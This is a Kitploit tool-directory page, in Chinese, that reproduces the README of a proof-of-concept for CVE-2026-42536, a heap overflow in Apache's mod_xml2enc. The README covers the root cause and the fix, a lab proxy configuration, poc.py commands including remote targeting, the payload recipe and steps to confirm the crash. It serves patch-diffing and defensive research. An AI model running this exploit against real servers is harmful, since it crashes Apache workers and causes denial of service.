Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42536-PoC — Apache HTTP Server 中 mod_xml2enc、xml2StartParse 及不可信内容导致的基于堆的缓冲区溢出漏洞 | Kitploit
工具/GitHubGitHub/erberkan/cve-2026-42536-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全论文与研究
GitHuberberkan/cve-2026-42536-poc

CVE-2026-42536-PoC

Apache HTTP Server 中 mod_xml2enc、xml2StartParse 及不可信内容导致的基于堆的缓冲区溢出漏洞

查看仓库
732120天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2026-42536:Apache HTTP Server mod_xml2enc 堆溢出 PoC

此 PoC 代码是博客文章 https://erberkan.github.io/2026/Patch_Diffing_and_N-Day_Defense/ 的一部分。

本仓库包含 CVE-2026-42536 的受控概念验证,这是 Apache HTTP Server 的 mod_xml2enc 模块中基于堆的越界写入漏洞。Apache HTTP Server 2.4.0 至 2.4.67 版本受影响;2.4.68 版本包含上游修复。

所演示的结果是内存损坏,随后导致 Apache 工作进程崩溃。重复触发可导致拒绝服务。此 PoC 不演示远程代码执行、权限提升或反向 shell。

安全须知

此 PoC 会故意发送可能导致 Apache 工作进程崩溃的内容。请仅在您拥有或明确授权测试的一次性隔离环境中运行它。不要将其指向生产系统或第三方系统。

该脚本默认仅允许回环操作。远程操作需要显式的 --allow-remote 标志,但该标志不能替代授权。

根本原因

xml2StartParse 可以指示 mod_xml2enc 跳过配置的起始元素之前的字节。在 Apache HTTP Server 2.4.67 中,fix_skipto() 会推进输出缓冲区指针并减少有效数据量,但不会按相同偏移量减少输出容量:

ctx->bytes -= (p - ctx->buf);
ctx->buf = p;

因此,后续的字符集转换接收到的容量是按原始分配计算的,尽管 ctx->buf 现在指向该分配内部的某个位置。该 PoC 通过组合以下内容使这种不匹配可被观察到:

  • 由 xml2StartParse html 跳过的 2,048 字节前缀。
  • 声明 charset=windows-1252 的 Content-Type。
  • 重复的字节 0x80,它会从一个 CP1252 字节扩展为欧元符号的三字节 UTF-8 编码。

扩展转换会消耗过时的容量,并可能写入超出推进后指针实际剩余空间的位置。

Apache 2.4.68 通过从 ctx->bblen 中减去跳过的偏移量来修复该记账错误:

 ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
 ctx->buf = p;

所需拓扑

该 PoC 使用两个 HTTP 组件:

poc.py client -> vulnerable Apache front end -> payload backend in poc.py

Apache 必须加载以下模块:

filter
proxy
proxy_http
xml2enc

仅在隔离的 Apache 2.4.67 或更早版本的实验环境中使用以下配置:

Listen 127.0.0.1:18080

<VirtualHost 127.0.0.1:18080>
    ProxyRequests Off

    ProxyPass        /cve-2026-42536/ http://127.0.0.1:18081/
    ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/

    <Location /cve-2026-42536/>
        SetOutputFilter xml2enc
        xml2StartParse html
    </Location>
</VirtualHost>

默认配置期望 poc.py 与 Apache 运行在同一主机或容器网络命名空间中。端口 18081 是载荷后端;请求必须发送到端口 18080 上经过过滤的 Apache 路由。

用法

启动存在漏洞的 Apache 实例,然后从同一一次性主机或容器运行该 PoC:

python3 poc.py

默认值等效于:

python3 poc.py \
  --host 127.0.0.1 \
  --port 18080 \
  --path /cve-2026-42536/ \
  --backend-bind 127.0.0.1 \
  --backend-port 18081 \
  --skip 2048 \
  --expand 12288 \
  --attempts 3

对于双机授权实验环境,使载荷后端可从 Apache 访问,并更新 ProxyPass/ProxyPassReverse 以使用攻击者的实验环境 IP。然后绑定后端并显式指定实验环境 Apache 地址:

python3 poc.py \
  --host VICTIM_LAB_IP \
  --port 18080 \
  --backend-bind 0.0.0.0 \
  --backend-port 18081 \
  --allow-remote

不要将后端端口暴露到隔离测试网络之外。

验证

在运行 PoC 时监控 Apache。根据构建版本和进程管理器,当父进程替换崩溃的工作进程时,客户端请求可能会失败、重置或返回部分数据。

来自所测试的存在漏洞的构建版本的典型证据包括:

AH01434  character-set conversion selected
AH01428  skipped to the first configured element
AH01441  conversion performed
AH00052  child process exited on signal 11 (SIGSEGV)

在由 systemd 管理的安装中:

sudo journalctl -u apache2 -f

对于前台 Docker 容器:

docker logs -f CONTAINER_NAME

工作进程 PID 的频繁变动可以提供额外的信号:

watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'

仅传输失败并不能证明存在该漏洞。请在 Apache 错误日志、系统日志、sanitizer 输出或核心转储中确认崩溃。

阴性对照

使用相同的模块和虚拟主机配置,对 Apache HTTP Server 2.4.68 重复相同的请求。载荷后端仍应收到该请求,但 Apache 工作进程应保持存活,因为输出容量会随推进后的指针一起减少。

恢复

如果父进程未自动替换工作进程,请仅重启一次性实验环境服务:

sudo systemctl restart apache2

或重启一次性容器:

docker restart CONTAINER_NAME

参考资料

  • Apache HTTP Server 2.4 vulnerabilities
  • NVD entry for CVE-2026-42536
  • GitHub Advisory Database entry
下载工具